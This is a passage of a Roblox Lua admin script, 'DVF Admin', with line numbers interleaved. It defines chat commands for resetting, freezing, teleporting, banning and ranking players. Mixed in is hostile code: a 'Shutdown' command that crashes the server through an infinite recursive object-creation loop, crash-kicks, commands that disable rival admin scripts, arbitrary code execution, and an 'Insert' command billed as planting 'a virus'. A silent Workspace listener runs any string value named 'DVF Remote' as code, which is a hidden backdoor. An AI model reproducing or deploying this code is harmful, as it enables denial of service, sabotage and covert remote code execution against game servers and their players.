1688
						v.Disabled = true
1689
						v:Destroy()
1690
						FoundLocal = true
1691
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1692
					end
1693
				end
1694
			end
1695
		end)
1696
		ypcall(function()
1697
			for _,v in pairs(name.Backpack:GetChildren()) do
1698
				if string.find(v.Name:lower(), ScriptName) then
1699
					if v:IsA("Script") or v:IsA("LocalScript") then
1700
						v.Disabled = true
1701
						v:Destroy()
1702
						FoundLocal = true
1703
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1704
					end
1705
				end
1706
			end
1707
		end)
1708
		ypcall(function()
1709
			for _,v in pairs(name.PlayerGui:GetChildren()) do
1710
				if string.find(v.Name:lower(), ScriptName) then
1711
					if v:IsA("Script") or v:IsA("LocalScript") then
1712
						v.Disabled = true
1713
						v:Destroy()
1714
						FoundLocal = true
1715
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1716
					end
1717
				end
1718
			end
1719
		end)
1720
		if FoundLocal == false then
1721
			Ping("Local Script Not Found", Speaker, 5)
1722
		end
1723
	end
1724
end)
1725
1726
Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
1727
	for _,v in pairs(game:GetChildren()) do
1728
		ypcall(function()
1729
			if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
1730
				for _,a in pairs(v:GetChildren()) do
1731
					ypcall(function()
1732
						a:Destroy()
1733
					end)
1734
				end
1735
			elseif v.Name == "Players" then
1736
				for _,plr in pairs(v:GetPlayers()) do
1737
					Clear(plr)
1738
				end
1739
			end
1740
		end)
1741
	end
1742
	Clean()
1743
	Fixl()
1744
	Ping("Fully Cleaned", Speaker, 5)
1745
end)
1746
1747
Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
1748
	LClean()
1749
	Fixl()
1750
	Ping("Lightly Cleaned", Speaker, 5)
1751
end)
1752
1753
Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
1754
	local PlrTab = getPlayer(Speaker, Msg)
1755
	if #PlrTab > 0 then
1756
		for _,v in pairs(PlrTab) do
1757
			ypcall(function()
1758
				v:LoadCharacter()
1759
				Ping("Reset "..v.Name, Speaker, 5)
1760
			end)
1761
		end
1762
	end
1763
end)
1764
1765
Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
1766
	repeat wait() until Speaker.Character:findFirstChild("Torso")
1767
	if Work:findFirstChild("Base") then
1768
		Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
1769
	else
1770
		Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
1771
	end
1772
	Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
1773
end)
1774
1775
Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
1776
	local PlrTab = getPlayer(Speaker, Msg)
1777
	if #PlrTab > 0 then
1778
		for _,v in pairs(PlrTab) do
1779
			ypcall(function()
1780
				v.Character.Torso.Anchored = true
1781
				Ping("Froze "..v.Name, Speaker, 5)
1782
			end)
1783
		end
1784
	end
1785
end)
1786
1787
Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
1788
	local PlrTab = getPlayer(Speaker, Msg)
1789
	if #PlrTab > 0 then
1790
		for _,v in pairs(PlrTab) do
1791
			ypcall(function()
1792
				for _,v2 in pairs(v.Character:GetChildren()) do
1793
					ypcall(function()
1794
						v.Anchored = false
1795
					end)
1796
				end
1797
				Ping("Thawed "..v.Name, Speaker, 5)
1798
			end)
1799
		end
1800
	end
1801
end)
1802
1803
Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
1804
	local PlrTab = getPlayer(Speaker, Msg)
1805
	if #PlrTab > 0 then
1806
		for _,v in pairs(PlrTab) do
1807
			ypcall(function()
1808
				Instance.new("ForceField", v.Character)
1809
			end)
1810
		end
1811
	end
1812
end)
1813
1814
Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
1815
	local PlrTab = getPlayer(Speaker, Msg)
1816
	if #PlrTab > 0 then
1817
		for _,v in pairs(PlrTab) do
1818
			ypcall(function()
1819
				RemObj(v.Character, "ForceField")
1820
			end)
1821
		end
1822
	end
1823
end)
1824
1825
Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
1826
	local Split = GetSplit(Msg)
1827
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1828
	local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
1829
	if #PlrTab > 0 and #PlrTab2 > 0 then
1830
		for i,v in pairs(PlrTab) do
1831
			ypcall(function()
1832
				for _,v2 in pairs(PlrTab2) do
1833
					ypcall(function()
1834
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
1835
						Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
1836
					end)
1837
				end
1838
			end)
1839
		end
1840
	end
1841
end)
1842
1843
Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
1844
	MakeExplorer(Speaker)
1845
end)
1846
1847
Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
1848
	wait()
1849
	Dismiss(Speaker)
1850
	NumBanned = 0
1851
	NumCmds = 0
1852
	for i = 1, #Rankings do
1853
		if Rankings[i].Rank < 0 then
1854
			NumBanned = NumBanned + 1
1855
		end
1856
	end
1857
	for i,v in pairs(Commands) do
1858
		NumCmds = NumCmds + 1
1859
	end
1860
	Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
1861
	Ping("DVF Admin Created By: el¬to¬wl¬o", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
1862
	Ping("Date Started: 18th May 2013", Speaker)
1863
	Ping("Your ID: "..Speaker.userId, Speaker)
1864
	Ping("Total Number Of Players: "..#All2(), Speaker)
1865
	Ping("Total Number Of Commands: "..NumCmds, Speaker)
1866
	Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
1867
	Ping("ShowGarbage", Speaker)
1868
end)
1869
1870
Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
1871
	Dismiss(Speaker)
1872
	for i,v in pairs(All()) do
1873
		Ping(v.Name.."'s Rank: "..FindRank(v))
1874
	end
1875
end)
1876
1877
Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
1878
	local Split = GetSplit(Msg)
1879
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1880
	local Speed = tonumber(Msg:sub(Split + 1))
1881
	for _,v in pairs(PlrTab) do
1882
		ypcall(function()
1883
			v.Character.Humanoid.WalkSpeed = Speed
1884
			Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
1885
		end)
1886
	end
1887
end)
1888
1889
Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
1890
	local RemoveAB = Instance.new("StringValue")
1891
	RemoveAB.Name = "CBA Attachment"
1892
	RemoveAB.Value = [[CBA.override=true;]]
1893
	RemoveAB.Parent = Work
1894
	Ping("Removed All CBA Anti-Bans", Speaker, 5)
1895
end)
1896
1897
Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
1898
	Dismiss(Speaker)
1899
	for i,v in pairs(Injected) do
1900
		Ping(i, Speaker)
1901
	end
1902
end)
1903
1904
Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
1905
	local RemoveCBA = Instance.new("StringValue")
1906
	RemoveCBA.Name = "CBA Attachment"
1907
	RemoveCBA.Value = [[CBA.remove = false]]
1908
	RemoveCBA.Parent = Work
1909
	Ping("Removed All CBA Admins", Speaker, 5)
1910
end)
1911
1912
Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
1913
	local function BufferOverflow(object)
1914
		object.DescendantAdded:connect(BufferOverflow)
1915
		Instance.new("IntValue", object)
1916
	end
1917
	BufferOverflow(Game)
1918
end)
1919
1920
local con = game:service'Workspace'.descendantAdded:connect(function(asd)
1921
	if asd.ClassName == 'StringValue' then
1922
		if asd.Name == "DVF Remote" then
1923
			local func = loadstring(asd.Value)
1924
			if func then asd:Destroy() return pcall(func) end
1925
		end asd:Destroy()
1926
	end
1927
end)
1928
1929
Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
1930
	local PlrTab = getPlayer(Speaker, Msg)
1931
	if #PlrTab > 0 then
1932
		for _,v in pairs(PlrTab) do
1933
			ypcall(function()
1934
				Crash1(v)
1935
				Ping("Crash Kicked "..v.Name, Speaker, 5)
1936
			end)
1937
		end
1938
	end
1939
end)
1940
1941
Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
1942
	local PlrTab = getPlayer(Speaker, Msg)
1943
	if #PlrTab > 0 then
1944
		for _,v in pairs(PlrTab) do
1945
			ypcall(function()
1946
				ChangeRank(v, -1)
1947
			end)
1948
		end
1949
	end
1950
end)
1951
1952
Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
1953
	local PlrTab = getPlayer(Speaker, Msg)
1954
	if #PlrTab > 0 then
1955
		for _,v in pairs(PlrTab) do
1956
			ypcall(function()
1957
				ChangeRank(v, -2)
1958
			end)
1959
		end
1960
	end
1961
end)
1962
1963
Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
1964
	local PlrTab = getPlayer(Speaker, Msg)
1965
	if #PlrTab > 0 then
1966
		for _,v in pairs(PlrTab) do
1967
			ypcall(function()
1968
				ChangeRank(v, -3)
1969
			end)
1970
		end
1971
	end
1972
end)
1973
1974
Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
1975
	ypcall(function()
1976
		local PlrTab = getPlayer(Speaker, Msg)
1977
		if #PlrTab > 0 then
1978
			for _,v in pairs(PlrTab) do
1979
				ypcall(function()
1980
					Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1981
				end)
1982
			end
1983
		end
1984
		local PlrName = ChangeRank(Msg, 0)
1985
		Ping("Un-Banned "..PlrName, Speaker, 5)
1986
	end)
1987
end)
1988
1989
Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
1990
	Dismiss(Speaker)
1991
	Ping("Commands", Speaker, nil, function()
1992
		Dismiss(Speaker.Name)
1993
		Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1994
		Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1995
		Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
1996
		Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
1997
		Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
1998
		Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
1999
		Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
2000
		Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
2001
	end)
2002
	Ping("Players", Speaker, nil, function()
2003
		ListPlayers(Speaker)
2004
	end)
2005
end)
2006
2007
Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
2008
	ListPlayers(Speaker)
2009
end)
2010
2011
Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
2012
	local Func,Error = loadstring(Msg)
2013
	getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
2014
	getfenv(Func).Speaker = Speaker
2015
	if Error == nil then
2016
		coroutine.wrap(function()
2017
			Func()
2018
		end)()
2019
		Ping("Executed Script!", Speaker, 5)
2020
	else
2021
		Ping(Error, Speaker, 10)
2022
	end
2023
end)
2024
2025
Command("Insert", 5, "Inserts A Virus Into selected players computer", function(Msg, Speaker)
2026
	if LS ~= nil then
2027
		local Split = GetSplit(Msg)
2028
		local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2029
		local LocalSource = Msg:sub(Split + 1)
2030
		if #PlrTab > 0 then
2031
			for _,v in pairs(PlrTab) do
2032
				local Inserted = LS:Clone()
2033
				Inserted.Disabled = true
2034
				Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
2035
				if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
2036
					Inserted:findFirstChild(OwnSource).Value = v.Name
2037
				end
2038
				Inserted[LSSource].Value = LocalSource
2039
				Inserted.Disabled = false
2040
			end
2041
		end
2042
	else
2043
		Ping("ERROR: Local Script Not Found", Speaker, 5)
2044
	end
2045
end)
2046
2047
Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
2048
	Msg = tostring(Msg)
2049
	Ping(Msg, Speaker)
2050
end)
2051
2052
Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
2053
	Dismiss(Speaker)
2054
	for i,v in pairs(getfenv(1)) do
2055
		ypcall(function()
2056
			Ping(tostring(i)..": "..tostring(v), Speaker)
2057
		end)
2058
	end
2059
end)
2060
2061
Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
2062
	Dismiss()
2063
	Removed = true
2064
	for i,v in pairs(getfenv(1)) do
2065
		getfenv(1)[i] = nil
2066
	end
2067
	script.Disabled = true
2068
end)
2069
2070
Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
2071
	local Split = GetSplit(Msg)
2072
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2073
	local Rank = tonumber(Msg:sub(Split + 1))
2074
	if #PlrTab > 0 then
2075
		for _,v in pairs(PlrTab) do
2076
			if v.Name ~= Owner then
2077
				ChangeRank(v, Rank)
2078
				Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
2079
			end
2080
		end
2081
	end
2082
end)
2083
2084
--This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).